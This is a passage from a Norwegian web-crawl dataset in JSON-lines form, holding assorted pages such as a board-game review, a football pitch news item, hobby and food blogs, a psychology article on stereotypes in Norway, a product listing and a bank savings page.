bordet.\n\n**Underholdningsverdi:**\n\nCarcassonne med tilleggspakke 1 har enorm underholdningsverdi da det kan engasjere liten og stor med flisene og tilhengerne sine. Det er ikke p\u00e5krevet at man liker spesielle ting for \u00e5 like spillet og man f\u00e5r definitivt brynet seg p\u00e5 b\u00e5de flaks og strategi. Noen kan finne p\u00e5 \u00e5 begynne \u00e5 spille spillet p\u00e5 en m\u00e5te som gj\u00f8r at folk f\u00f8ler at de blir motarbeidet. da s\u00f8rger i grunn flaks elemntet ofte for \u00e5 sette personen litt p\u00e5 plass. For de av oss som har spilt spillet mye er det strategien som blir mer fremtredende.\n\n**Lett \u00e5 l\u00e6re / enkle regler:**\n\nSpillereglene er trykket p\u00e5 begge sider av et A6 ark. Reglene er s\u00e5 enkle og s\u00e5 godt forklart at det er en lek \u00e5 legge disse til reglene man l\u00e6rte seg til grunnspillet. Som vanlig kan det v\u00e6re lurt med en gjennomspilling f\u00f8r man skal l\u00e6re det bort, men det b\u00f8r ikke v\u00e6re noe hinder for folk flest.\n\nGj\u00f8r meg blid, f\u00f8lg og lik\\!\n\n**Konklusjon:**\n\n**Alt i alt tilf\u00f8rer denne pakken meget gode l\u00f8sninger for poengavvikling og utvidet spilletid i form av at det blir 18 trekk ekstra p\u00e5 et spill. Reglene er sv\u00e6rt enkle \u00e5 legge til p\u00e5 grunnspillets regler. Spillet blir ogs\u00e5 en del mer variert da man kan spekulere i \u00e5 bruke store tilhengere eller lagge til vertshus eller katedraler og dermed f\u00e5 h\u00f8yere poengsum. Denne tilleggspakken vurdere jeg \u00e5 v\u00e6re n\u00f8dvendig for \u00e5 ha best mulig spilleopplevelse. Prisen kan variere, men med litt leting p\u00e5 nett b\u00f8r man kunne anskaffe denne pakken for en 100 lapp.**\n\n8.7/10\n\n", "language": "no", "__index_level_0__": "6c29ec1a-c4a2-4f31-9ce8-bb00e4d34f50"}
{"url": "https://www.nrk.no/mr/nydeleg-grasmatte-i-molde-1.6528979", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00517.warc.gz", "warc_date": "2018-03-24T23:59:09Z", "text": "# Best i landet ?\n\nHar Molde FK den flottaste grasmatta i landet ? D\u00e5 reknar vi ikkje med dei stadig fleire klubbane som har kunstgras.\n\n\n\nS\u00f8ndag er det endeleg sesongpremiere i Eliteserien i Molde med Bod\u00f8/Glimt som motstandar. Banemeister \u00d8yvind Kormeseth i Molde har jobba hardt og med kj\u00e6rleg hand for \u00e5 f\u00e5 graset s\u00e5 fint som r\u00e5d.\n\nKormeseth har brukt vekstduk og plast for \u00e5 f\u00e5 bana s\u00e5 fin. Dei siste \u00e5ra har ogs\u00e5 m\u00e5ten \u00e5 gj\u00f8dsle p\u00e5 endra seg, slik at det har gitt gode resultat.\n\nProblemet no s\u00e5 tidleg i sesongen er at graset er laust i rota, men dette vil kome seg ut over i sesongen.\n\n## Ingen gode r\u00e5d\n\nKormeseth har ingen gode r\u00e5d til Ullev\u00e5l og Lerkendal som ikkje kunne presentere s\u00e6rleg fine grasmatter i helga. Han meiner dei gunstige klimaforholda i Molde kontra kulden i Oslo og Trondheim er gunstig for MFK.\n\n\n\nMolde-trenar Kjell Jonevret meiner banemannskapa p\u00e5 Ullev\u00e5l sikkert hadde gjort sitt aller beste. Han hadde frykta end\u00e5 verre forhold enn det som var tilfelle d\u00e5 Molde slo Lyn 1-0 p\u00e5 ei bane full av sand og gult gras p\u00e5 s\u00f8ndag.\n\n## Ikkje kunstgras\n\nTalet p\u00e5 klubbar som har kunstgras aukar fr\u00e5 \u00e5r til \u00e5r, men Kormeseth er klar i sin tale n\u00e5r vi p\u00e5peiker at AaFK alltid har gr\u00f8nt gras: - Nei, den plasten kan dokke f\u00e5 ha i fred for meg, seier den alltid muntre banemeisteren i Molde.\n\n  Publisert  17.03.2009, kl. 12.08    Oppdatert  17.03.2009, kl. 12.41 \n\n### Molde FK\n\n\n", "language": "no", "__index_level_0__": "829f7475-4373-46cf-94b2-a3d701e191be"}
{"url": "http://lindasscrapping.blogspot.com/2012/04/to-nye-lo-er.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00693.warc.gz", "warc_date": "2018-03-24T23:36:45Z", "text": "\n\n## fredag 27. april 2012\n\n### To nye LO-er\n\nTo nye LO-er laget for de kreative hos Scrapping.no.\u00a0\n\n  \n\n\n\u00a0Her har jeg brukt chipboard fra Imaginarium Designs. Jeg har malt de hvite, og deretter stemplet med et stempel fra Tim Holtz over. Ellers har jeg brukt litt washitape, papirpose og b\u00f8lgepapp.  \n  \n\n\n\nPapirene p\u00e5 denne LOen er fra Cratepaper, \"random\"-serien. Digger de arkene:)  \nChipboarden er ogs\u00e5 her fra imaginarium design.  \n  \nLinda  kl. \n\n13:35           \n\n#### 1 kommentar:\n\n1.  \n    \n    Elisabeth Bakken6. mai 2012 kl. 17:39\n    \n    Disse sidene syns jeg er utrolig kule\\!\\! Tusen takk for stadig gode kommentarer p\u00e5 min blogg\\<3\n    \n", "language": "no", "__index_level_0__": "f5da4052-e951-4bb3-8f16-4d2d4b8b853d"}
{"url": "http://www.psykologtidsskriftet.no/index.php?seks_id=453038&a=4", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00375.warc.gz", "warc_date": "2018-03-24T23:11:04Z", "text": "# Norske stereotypier\n\n\n\nTekst Hege H\u00f8ivik Bye\nIkke alle regnes som en del av et st\u00f8rre \u00abvi\u00bb n\u00e5r nordmenn rangerer sosiale gruppers stereotypiske trekk.\n\n# Norske stereotypier\n\nIkke alle regnes som en del av et st\u00f8rre \u00abvi\u00bb n\u00e5r nordmenn rangerer sosiale gruppers stereotypiske trekk.\n\n\n\nAMBIVALENS Mange grupper rammes av en ambivalent stereotypi; de sees som varme og inkompetente eller kalde og kompetente. Illustrasjonen viser en skjematisk fremstilling av \u00abStereotype Content\u00bb-modellen.\n\nHVILKE GRUPPER i det norske samfunnet beundrer og liker folk flest? Hvem misliker vi, samtidig som vi ser p\u00e5 dem med en blanding av respekt og misunnelse? Hvem anerkjenner vi som s\u00f8te og snille, men ville aldri tilbudt en lederstilling? Og hvem befinner seg p\u00e5 utsiden; foraktet og nedvurdert? Susan Fiske og kolleger lanserte i 2002 en ny modell for \u00e5 forst\u00e5 innholdet i stereotypier av grupper i samfunnet (\u00abThe Stereotype Content Model\u00bb; Fiske, Cuddy, Glick, & Xu, 2002). I motsetning til forskning p\u00e5 *hvordan* mennesker skaper, anvender og endrer stereotypier, beskriver denne modellen *hva* det er vi tenker om *hvem* \u2013 og *hvorfor*. Flere forskere fremmer modellen som et universelt rammeverk for \u00e5 forst\u00e5 stereotypiinnhold. Sammen med psykologistudentene Henrik Herrebr\u00f8den, Gunnhild Hjetland, Guro R\u00f8yset og Linda Westby har jeg testet denne modellen i Norge. V\u00e5r studie gir et innblikk i det norske landskapet av stereotypier og fordommer, i tillegg til at den utforsker modellens gyldighet i en norsk kontekst (Bye, Herrebr\u00f8den, Hjetland, R\u00f8yset, & Westby, 2014).\n\n## \u00abStereotype Content\u00bb-modellen\n\nStereotyper er samfunnets delte forestillinger om ulike sosiale gruppers kjennetegn, if\u00f8lge Fiske og kollegers modell. Forestillingene representerer prim\u00e6rt dominante gruppers perspektiver, men deles av mange grupper. I Norge vil en dominant gruppe kunne v\u00e6re etniske nordmenn fra middelklassen. Modellen viser at folk oppfatter grupper med h\u00f8y status som kompetente (dyktige, selvsikre), mens lavstatusgrupper stereotypisk oppfattes som inkompetente. Grupper som representerer en trussel; som inng\u00e5r i en kamp om begrensede ressurser, eller som oppleves \u00e5 utfordre etablerte verdier i samfunnet, vurderes som kalde (uvennlige, u\u00e6rlige). Vennligsinnede ikke-konkurrenter, derimot, vurderes som varme (snille, \u00e6rlige). Et viktig aspekt ved modellen er at de to aksene *varme* og *kompetanse* krysser hverandre. Stereotyper er ikke bare ensidig positive eller negative, slik man kanskje tradisjonelt har tenkt. Mange grupper rammes av en ambivalent stereotypi; de sees som varme og inkompetente eller kalde og kompetente (se illustrasjon). Et annet viktig prinsipp i modellen er at stereotyper er n\u00e6r knyttet til emosjonelle fordommer. Vi beundrer de varme/kompetente, misunner de kalde/kompetente, syns synd p\u00e5 de varme/inkompetente og forakter de kalde/inkompetente.\n\n## Metode\n\nI v\u00e5r studie \u00f8nsket vi alts\u00e5 \u00e5 finne ut hvilke stereotyper som knyttes til sosiale grupper i Norge. Unders\u00f8kelsen besto av tre deler. En pilotstudie ga oss svar p\u00e5 hvilke grupper folk deler det norske samfunnet inn i. Deltakerne fikk fritt liste opp sine egne forslag. Basert p\u00e5 svarene deres og tidligere forskning valgte vi ut 25 grupper: arbeidsledige, eldre mennesker, fattige mennesker, feminister, folk med h\u00f8y utdanning, folk med lav utdanning, funksjonshemmede, homofile menn, husm\u00f8dre, innvandrere, j\u00f8der, kristne, kvinner, menn, middelklassen, muslimer, nordmenn, rike mennesker, rom, rusmisbrukere, samer, studenter, tiggere, trygdede og ungdommer. Disse kategoriene dekker blant annet ulikheter basert p\u00e5 kj\u00f8nn, alder, sosio\u00f8konomisk status, etnisitet og religi\u00f8s tilh\u00f8righet, og favner dermed en del av mangfoldet i det norske samfunnet.\n\n\n\nGJENNOMSNITT Tabellen viser den gjennomsnittlige vurderingen av varme og kompetanse for 25 sosiale grupper. Totalt inkluderte studien 244 deltakere. Hver deltaker vurderte et tilfeldig utvalg av gruppene, slik at hver gruppes sk\u00e5rer er basert p\u00e5 cirka 40 personers vurdering.\n\nI den neste delen av unders\u00f8kelsen fikk et nytt utvalg gi sin vurdering av gruppene fra pilottesten. I tr\u00e5d med definisjonen av stereotyper som delte forestillinger i et samfunn, ba vi deltakerne angi hvordan gruppene blir ansett av nordmenn flest. For hver gruppe skulle deltakerne tenke p\u00e5 hvordan gruppen blir ansett av folk i Norge generelt og angi i hvilken grad gruppen (slik folk flest ser det) er varm og kompetent. I den tredje og siste delen fokuserte vi spesifikt p\u00e5 stereotypier knyttet til ulike innvandrergrupper. Nye deltakere ble bedt om \u00e5 vurdere hvordan nordmenn flest ser p\u00e5 svenske, polske, somaliske, pakistanske og irakiske innvandrere. Vi valgte disse gruppene fordi de er blant de st\u00f8rste innvandrergruppene i Norge.\n\n## Fem \u00abfordommer\u00bb\n\nSom man ville forvente basert p\u00e5 \u00abStereotype Content\u00bb-modellen, spredte vurderingene av de ulike gruppene seg ut langs b\u00e5de varmeaksen og kompetanseaksen (se tabell p\u00e5 neste side). Litt forenklet kan vi si at stereotypene av de sosiale gruppene fordelte seg i fem kategorier.\n\n*De beundrede*. Flere av gruppene ble sett p\u00e5 som enten kompetente og veldig varme (f.eks. kvinner, homofile menn og middelklassen) eller som kompetente og ganske varme (f.eks. nordmenn, menn, studenter og folk med h\u00f8y utdanning). Samlet sett kan man tenke p\u00e5 disse gruppene som \u00e5 representere de typiske inngruppene eller referansegruppene i Norge, alts\u00e5 grupper mange enten tilh\u00f8rer, sammenligner seg med eller \u00f8nsker \u00e5 v\u00e6re en del av.\n\n*De mislikte, men respekterte*. P\u00e5 tvers av land er det \u00e9n sosial gruppe som konsekvent havner i kvadranten for misunnelige fordommer, nemlig rike mennesker. Ogs\u00e5 i v\u00e5re data anerkjennes rike mennesker som kompetente, men vi liker dem ikke og vurderer dem som kalde.\n\n*De snille, men ikke s\u00e5 dyktige*. Det var f\u00e5 grupper som klart havnet i kvadranten for medlidende fordommer; anerkjent som vennlige, men ikke respekterte som kompetente. Unntaket var funksjonshemmede og folk med lav utdanning. Begge disse gruppene kan sies \u00e5 m\u00f8te denne sjatteringen av fordommer.\n\n*De foraktede*. Deltakernes svar viste at tre grupper stereotypisk ansees som kalde og inkompetente: rusmisbrukere, tiggere og rom. Dette gir et tydelig bilde av hvem som ikke regnes med i det st\u00f8rre \u00abvi-et\u00bb. Ogs\u00e5 fattige, trygdede og arbeidsledige ble ansett som lite kompetente, men ble noe mer positivt vurdert p\u00e5 varme.\n\n*De i midten*. Noen grupper ble rangert midt p\u00e5 b\u00e5de varmeaksen og kompetanseaksen. Dette gjaldt for eksempel innvandrere. N\u00e5r vi i den siste delen av unders\u00f8kelsen ba deltakerne vurdere spesifikke innvandrergrupper, s\u00e5 vi at polske, pakistanske og irakiske innvandrere forble i denne midtposisjonen. Svenske og somaliske innvandrere fikk derimot diametralt motsatte plasseringer, og skilte seg dermed fra den generelle \u00abinnvandrer\u00bb-kategorien og de andre innvandrergruppene. Svenske innvandrere stereotypes som nordmenn (alts\u00e5 som varme og kompetente), mens somaliske innvandrere deler den klart negative (lav varme, lav kompetanse) stereotypen til tiggere, rom og rusmisbrukere.\n\n## Hvorfor er dette viktig?\n\n\u00abDette vet jeg, jo\\!\u00bb har du kanskje tenkt mens du leste de forrige avsnittene eller kikket p\u00e5 illustrasjonen av resultatene. Min erfaring er at de aller fleste med tilstrekkelig fartstid i det norske samfunnet intuitivt \u00abvet\u00bb hvor nordmenn plasserer de ulike gruppene. Hvert semester f\u00e5r jeg psykologistudenter til \u00e5 tegne gruppekartet \u2013 de bommer aldri\\! Men det at man kjenner seg igjen, betyr ikke at funnene er uinteressante. En ting er de teoretiske implikasjonene studien har som bidrag til den krysskulturelle valideringen av \u00abStereotype Content\u00bb-modellen (Cuddy et al., 2009; Durante et al., 2013). For fagut\u00f8vere er det kanskje enda mer interessant \u00e5 benytte funnene som utgangspunkt for refleksjon over egne og andres sosiale posisjoner, slik \u00abEtiske prinsipper for nordiske psykologer\u00bb legger opp til. Vil ikke den typiske psykologen v\u00e6re norsk, kvinne, h\u00f8yt utdannet, og medlem av middelklassen? Trygt plassert i det \u00f8vre h\u00f8yre hj\u00f8rnet av modellen? Hvordan er det \u00e5 arbeide fra den posisjonen, med mennesker som vet at de i majoritetens \u00f8yne vurderes som uvennlige og u\u00e6rlige snyltere, som dumme og ubrukelige? Det kan v\u00e6re verdt \u00e5 sp\u00f8rre seg selv: Hvilke kulturelle stereotypier har jeg internalisert, og hvordan kan disse komme til uttrykk i m\u00f8te med klienter?\n\n", "language": "no", "__index_level_0__": "21fb97ca-d157-45e4-b8d5-7a7ef391dd8f"}
{"url": "https://margitvea.no/blogg/takk-til-inger-helene-sira-so/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00111.warc.gz", "warc_date": "2018-03-24T23:34:48Z", "text": "### Margit Vea\n\n# Hyggelig m\u00f8te med \u00d8kokommunen Tingvoll\n\n  - Skrevet av Margit Vea\n  - 21\\. april 2013\n\nTakk til Inger Helene Sira som inviterte meg til \u00e5 komme nordover til Tingvoll 2 og 3 april for \u00e5 holde kurs/foredrag. Kurset ble arrangert i regi av omd\u00f8mmeprosjektet i \u00f8kokommunen Tingvoll. P\u00e5 kvelden var det matkurs for familier og dagen etter et pedagogisk foredrag for de som arbeider med barn. Det ble to innholdsrike dager og inspirerende \u00e5 se hva engasjerte enkeltpersoner kan f\u00e5 til i en liten kommune\\!\n\n**Kortreist gjestebud**\n\nJeg fikk treffe Christin L\u00f8kke Hagen (som fikk Ingrid Espelid Hovigs matkulturpris i 2011). Hun er drivkraften bak arrangementet Kortreist Gjestebud p\u00e5 Tingvoll barne- og undomsskole. Fra skolestart fram til h\u00f8stferien lager 1-10. klasse ulike produkter for salg. De bruker skolehagen, skogen og hagen der de sanker frukt, sopp, b\u00e6r, gr\u00f8nnsaker, urter m.m. Siste uka i september har de et stort marked p\u00e5 skolen med 5-600 bes\u00f8kende p\u00e5 to timer.\n\n**Slakter lam i undervisningen**\n\nChristin L\u00f8ken arbeider som mat og helse l\u00e6rer og har opplegget for 9. klasse i mat og helse/naturfag. De har en biolog/jeger/slakter som slakter 2 lam for dem. Elevene er med p\u00e5 hele prosessen. Uka etterp\u00e5 lager de leverpostei, lammerull, pinnekj\u00f8tt til salting og senere t\u00f8rking, blodpannekaker, blodpudding, leverkaker. Skolen samarbeider med Tingvoll museum, og slaktinga foreg\u00e5r der. Opplegget har de f\u00e5tt gode tilbakemeldinger p\u00e5. Naturfagl\u00e6rere p\u00e5 Tingvoll VGS forteller at elevene sier at dagen i Tingvoll museum er det de husker best fra naturfagundervisninga p\u00e5 ungdomsskolen. N\u00e5r de bruker en dyktig slakter som ogs\u00e5 kan vise organer og forklare hvordan de fungerer, er det en bra undervisningsarena. Til jul har elevene festmiddag med egenprodusert pinnekj\u00f8tt. Til jul har de med seg hjem en lammerull som de har sydd selv\\!\n\nChrstin L\u00f8ken holder foredrag for de skoler som \u00f8nsker \u00e5 h\u00f8re mer om alt det spennende som de f\u00e5r til p\u00e5 Tingvoll. Dere kan lese mer om dette p\u00e5 nettsiden Kortreist gjestebud.\n\nSist oppdatert 13. oktober 2017\n\n1.  #### Inger Helene\n    \n    5 \u00e5r siden\n    \n    Det var superhyggelig \u00e5 ha deg her \ud83d\ude42 Det kommer til \u00e5 bli flere kurs, det er jeg sikker p\u00e5\\! Fikk mange gode tilbakemeldinger p\u00e5 begge kursene, s\u00e5 vi er superforn\u00f8yde\\!\n    \n#### Margit Vea\n\nMargit Vea har en visjon om \u00e5 skape begeistring og engasjement for matlaging og naturlige r\u00e5varer. Maten vi har p\u00e5 tallerkenen skal gjenspeile respekt for milj\u00f8, dyr og mennesker.\n\n", "language": "no", "__index_level_0__": "55c00d87-8617-4c09-a643-e931702bcf9c"}
{"url": "http://no.tmart.com/NOMO-NS-39-Safe-High-quality-Natural-Resin-Reptile-Basin-Yellow_p330344.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00667.warc.gz", "warc_date": "2018-03-24T23:06:24Z", "text": "# NOMO NS-39 Safe h\u00f8ykvalitets naturlig harpiks reptil bassenget gul\n\nVedta h\u00f8y temperatur sterilisering harpiks, er dette NOMO NS-39Safe h\u00f8y kvalitet naturlig harpiks reptil bassenget ikke giftig, ikke-lukt andharmless. Den h\u00f8ye polering overflaten med coatingmakes det lett \u00e5 vaske og anti-bakterier. Designet i lav kanten, er det enkelt \u00e5 hente vann eller f\u00f4r. H\u00f8y simulering design er realistisk og levende. Dette bassenget funksjoner uts\u00f8kt utf\u00f8relse, milj\u00f8vennlig tekstur og kompakt st\u00f8rrelse. Dette bassenget er spesielt designet for \u00f8gle, gekko, frosken, slange, skilpadde, etc. Med moderat vekt og ypperlig kvalitet er det mest passende bassenget for robots\u00f8keprogrammer. Dette harpiks bassenget gj\u00f8r robots\u00f8keprogrammet boksen mer elegant og gj\u00f8re f\u00f4ring sunnere og mer hygienisk.\n\n###### funksjoner\n\n  - Harpiks er naturlige og milj\u00f8vennlige\n  - Det er ikke giftig, trygg, gr\u00f8nn og ufarlig for robots\u00f8keprogrammene\n  - Kompakt og mini\n  - Den kan inneholde vann, f\u00f4r, kalsium pulver, etc\n  - Egnet for gekko, \u00f8gle, spider, scorpion, frosk, slange, skilpadde etc\n\n###### spesifikasjoner\n\n|            |                                                       |\n| ---------- | ----------------------------------------------------- |\n| Materiale  | Resin                                                 |\n| Vekt       | 3,53 g / 100 g                                        |\n| Color      | Gul                                                   |\n| Dimensions | (4,72 x 3,35 x 0,39) \"/ (12 x 8,5 x 1) cm (L x b x H) |\n\n###### pakken inneholder\n", "language": "no", "__index_level_0__": "b6ae27d0-0fc9-4aad-b659-691115b4a010"}
{"url": "http://sovnforeningen.no/kurs-om-hypersomnier-sovnapne-og-insomni-i-bergen/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00301.warc.gz", "warc_date": "2018-03-24T23:40:03Z", "text": "Strever du med s\u00f8vn og \u00f8nsker \u00e5 f\u00e5 mer informasjon og m\u00f8te andre med samme diagnose? Da har du sjansen i Bergen 18, og 19. oktober. M\u00f8tene er gratis, med enkel servering og holdes p\u00e5 HAUKELAND HOTELL, Loftsrommet.\n\nP\u00e5melding til firstname.lastname@example.org eller sms til 48 28 03 83\n\nPROGRAM m\u00f8ter BERGEN\n\n18. og 19. oktober\n\n**ONSDAG 18. oktober formiddagen 12-16**\u00a0 Haukeland Hotell, Loftsrommet.\n\nGratis, med enkel servering\n\nArrang\u00f8r: NevSom og S\u00f8vnforeningen og SovNo\n\nM\u00e5lgruppe: Rektorer, l\u00e6rere, helses\u00f8stre, helsepersonell , DPS, BUP, r\u00e5dgivere \u2013 grupper som har elever med s\u00f8vndiagnoser (hypersomnier) og som trenger tilrettelegging.\n\nForelesere:\n\nSt\u00e5le Pallesen (Haukeland) om ungdomss\u00f8vn generelt, om implikasjoner for lite s\u00f8vn hos denne gruppen, og peker p\u00e5 aktuelle diagnoser og tiltak (inkl skolesektoren)\n\nKnut Bronder (Nasjonalt Kompetansesenter for hypersomnier) om mestring av hverdagen\n\nHilde Andresen (Nasjonalt Kompetansesenter for hypersomnier) om tilrettelegging i skolen\n\n**ONSDAG 18. oktober 18-21** Mestringsm\u00f8te \u00e5pent m\u00f8te for folk med hypersomnier\n\n", "language": "no", "__index_level_0__": "22f1f019-c5f5-4060-bd6c-7b31b16eb74a"}
{"url": "https://vibekedesign.blogspot.com/2013/03/paskelunsj.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00596.warc.gz", "warc_date": "2018-03-24T23:34:09Z", "text": "You can\\`t use up CREATIVITY..the more you use ,the more you have....\n\n## torsdag 28. mars 2013\n\n### P\u00e5skelunsj\\!\n\n\n\nEller skal jeg si p\u00e5skefrokost...for\u00a0 dette er en rett vi M\u00c5 ha hver p\u00e5ske. Den lages gjerne p\u00e5 morgenkvisten \u00e5 nytes hele dagen,frokost-lunsj-og kvelds.....om du vil,hi,hi\\!\\!  \nJeg er som kjent ingen kokk ,selv om jeg gjerne skulle \u00f8nske meg mere kunnskap og t\u00e5lmodighet n\u00e5r det gjelder matkunst.....men EGGESALAT kan jeg lage...p\u00e5 min m\u00e5te:)  \n\n\n\n  \nF\u00f8rst hakkes v\u00e5rl\u00f8k,paprika,l\u00f8k og deretter tilsetter du kokte egg og reker.  \n\n\n\n  \n\n\nS\u00e5 tilsetter man majones og blander dette lett\u00a0 sammen. S\u00c5 enkelt S\u00c5 godt\\!\\!\\!  \n\n\n\n  \n\n\n  \n\n\n  \n\n\nIkke mange mattips du vil f\u00e5 fra denne damen,det er det MANGE andre som kan mye MYYYE bedre enn meg der ute:))God er denne hvertfall og kan jeg lage den,ja da kan ALLE:)  \nVi har i dag str\u00e5lende sol...og sola skinte ogs\u00e5 p\u00e5 denne dag for fjorten \u00e5r siden da v\u00e5r vakre minste jente Nora ble f\u00f8dt.  \nPakker,p\u00e5skeegg,kake og sang har vi hatt denne morningen..samt en laaaang deilig p\u00e5skefrokost\\!God skj\u00e6rtorsdag alle sammen\\!  \n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0\u00a0 KLEMMER VIBEKE\n\n Lagt inn av Vibeke S\u00e6ther Svenningsen   19.19 torsdag, mars 28, 2013        \n\n Etiketter: Mat, p\u00e5skemat \n\n#### 8 kommentarer:\n\n1.  \n    \n    LandHausLeben28. mars 2013 kl. 04:07\n    \n    Det ser fantasitsch\\! Jeg ville virkelig liker \u00e5 ta ditt sete\\!  \n    Kj\u00e6rlighet, Carmen\n    \n2.  \n    \n    Fru Fjeldhammer28. mars 2013 kl. 04:42\n    \n    Nam nam.. dette ser da helt fantastiskt godt ut\\!\\! kos deg...  \n      \n    God p\u00e5ske til deg og dine...  \n    klem\n    \n3.  \n    \n    Hjem & Glede28. mars 2013 kl. 06:27\n    \n    Hjertlig tillykke med dagen til skj\u00f8nne Nora\\!  \n    \u00c5 FOR en deilig dag\\!  \n    Skulle mer enn gjerne kommet innom....MEN er der i tankene da....hi,hi.  \n    Fabelaktige bilder\\!\\!\\!  \n      \n    GOOOOD klem  \n    Camilla.  \n      \n4.  \n    \n    Villaveien nr 128. mars 2013 kl. 07:14\n    \n    \u00c5\u00c5 s\u00e5 godt det ser ut Vibeke.  \n    Fantastisk.  \n    Dette m\u00e5 jeg lage snart.  \n    Vi nyter sola og herlige fridager.  \n    Det h\u00e5per jeg dere ogs\u00e5 gj\u00f8r.  \n      \n    Lykke til med dagen til Nora.  \n      \n    \n5.  \n    \n    STENLYCKA28. mars 2013 kl. 09:23\n    \n    Stor P\u00e5skkram till dig\\!  \n    Ha en underbar helg\\!  \n    Raina\n    \n6.  \n    \n    Randi28. mars 2013 kl. 15:48\n    \n    Hei\\! Tusen takk for koselig kommentar inne hos meg\\! Og for en flott blogg du har da\\! Herlige bilder\\! Og denne eggesalten var veldig fristende, den skal jeg absolutt pr\u00f8ve \u00e5 lage\\!\\!  \n    God p\u00e5ske til deg og dine\\! Klem,Randi.\n    \n7.  \n    \n    Nadias Dr\u00f6mhem29. mars 2013 kl. 03:25\n    \n    Det ser riktigt gott ut\\!  \n    GLAD P\u00c5SK\\!  \n    //Nadia\n    \n8.  \n    \n    Annas r\u00f6da stol29. mars 2013 kl. 11:04\n    \n    S\u00e5 inbjudande\\!\\!\\! Jag \u00f6nskar dig och dina en glad p\u00e5sk :) Kram Anna\n    \n## Velkommen \\!\n\n  \n\n    \n\nJeg er Vibeke \\!  \nJeg bor i vakre Norge,og elsker den skandinaviske stilen.  \nHelt siden jeg var ei lita jente har jeg likt \u00e5 fylle dagen med  \nkreative sprell. Jeg har stort sett et prosjekt p\u00e5 gang,alt fra maling av malerier til oppussing av gamle m\u00f8bler.  \nJeg er en loppistraver av de store og elsker den landlige hvite stilen.  \nHyggelig at nettopp DU vil f\u00f8lge med p\u00e5 mine sprell :)  \n  \n  \n    \n\n  \nmeg en mail f\u00f8rst.  \ncopyright: Vibeke Design  \n  \n  \n  \n    \n    Ei vakker lita jente p\u00e5 bes\u00f8k....\n", "language": "no", "__index_level_0__": "59f416f4-1970-4be8-b930-9bb9e9c1d035"}
{"url": "https://www.sparebank1.no/nb/ringerike-hadeland/privat/sparing/spare-pa-konto/fastrenteinnskudd.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00170.warc.gz", "warc_date": "2018-03-24T23:28:42Z", "text": "# Fastrenteinnskudd\n\nSkal du spare et st\u00f8rre bel\u00f8p kan du f\u00e5 bedre rente ved \u00e5 binde den i en avtalt periode.\n\n  - Du f\u00e5r en trygg og forutsigbar avkastning.\n  - Du vet hvilken rente du f\u00e5r over lengre tid.\n\n-----\n\n\n\n## Hvordan fungerer fastrenteinnskudd?\n\nMed et fastrenteinnskudd binder du pengene og renten i en avtalt periode, ofte 6 eller 12 m\u00e5neder.\u00a0\n\nRenten i bindingstiden p\u00e5virkes ikke selv om renten i markedet endres, dermed vet du p\u00e5 forh\u00e5nd hva du f\u00e5r i avkastning.\n\n-----\n\n## Rente og vilk\u00e5r\n\n 1,60  %\n\n  - Minsteinnskudd er 100.000 kroner\n  - 12 m\u00e5neder bindingstid til 1.60 %\n  - Ved eventuelt uttak i bindingsperioden p\u00e5l\u00f8per gebyr p\u00e5 2% av uttaksbel\u00f8pet beregnet fra uttakstidspunktet frem til bindingstidens sluttdato. Uttaksgebyret forfaller umiddelbart til betaling og blir automatisk belastet konto.\n\n#### Bruk\n\nDu kan ikke sette inn eller ta ut penger p\u00e5 kontoen i l\u00f8pet av bindingstiden. Dersom du likevel m\u00e5 foreta uttak f\u00f8r bindingstiden er slutt, m\u00e5 du betale et uttaksgebyr. Gebyret beregnes av uttaksbel\u00f8pet for resten av bindingstiden.\n\n#### Rente\n\nAvkastningen er avhengig av rentesatsen p\u00e5 det tidspunkt som avtalen blir inng\u00e5tt. Renter krediteres kontoen p\u00e5 utl\u00f8psdato.\n\n", "language": "no", "__index_level_0__": "397d53d1-6697-4329-99c3-d1c02bb1d4f1"}
{"url": "http://frkhaannee.blogg.no/m_042010.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00309.warc.gz", "warc_date": "2018-03-24T23:36:58Z", "text": "Bluse - gave fra Hilde (kj\u0159pt i USA)  \nKlokke - gave fra farmor  \n\n  - 24.04.2010 kl.16:56\n  - 14 kommentarer \u2665\n\nVi har kommet opp i pr\u0159vemuntlig idag, og gjett hva jeg kom opp i? Det jeg hadde minst lyst til; norsk. Skal skrive om Knut Hamsun og nyromantikken, og selvf\u0159lgelig hadde jeg svineinfluensa n\u013ar vi l\u0107rte om nettopp det.  \n  \nJeg fant foresten den sykt fine paraplyen i byen idag. Den var hvit med blonder og bare superduperultrahyper fin\\! MEN, den kostet 700 kr, litt dyrt for min lommebok tror jeg..  \n  \n  \n*Resultat av hvor kjedelig Knut Hamsun faktisk er.*  \n\n  - 20.04.2010 kl.21:01\n  - 18 kommentarer \u2665\n\n### BLOMSTER-\u0158REDOBBER\n\nFor en stund tilbake fikk jeg 8 par blomster-\u0159redobber fra \"svigermor\" Hilde. Jeg hadde p\u013a meg de hvite idag, og jeg synes alle sammen er kjempe s\u0159te\\!  \n  \nN\u013a skal\u00a0jeg ta med meg naturfagboka mi til sengs, s\u013a om jeg er heldig f\u013ar jeg kanskje\u00a0l\u0107rt\u00a0litt siste kunnskap om karbonkjemi f\u0159r pr\u0159va imorgen.  \n  \n  \n  \n\n**Q: Hva synes du om \u0159redobbene?**\n\n  - 19.04.2010 kl.22:06\n  - 15 kommentarer \u2665\n\n### ATOMER, ALKANER OG DIAMANTER\n\nJeg er skikkelig glad i dag, enda det er mandag, pr\u0159vemuntlig denne 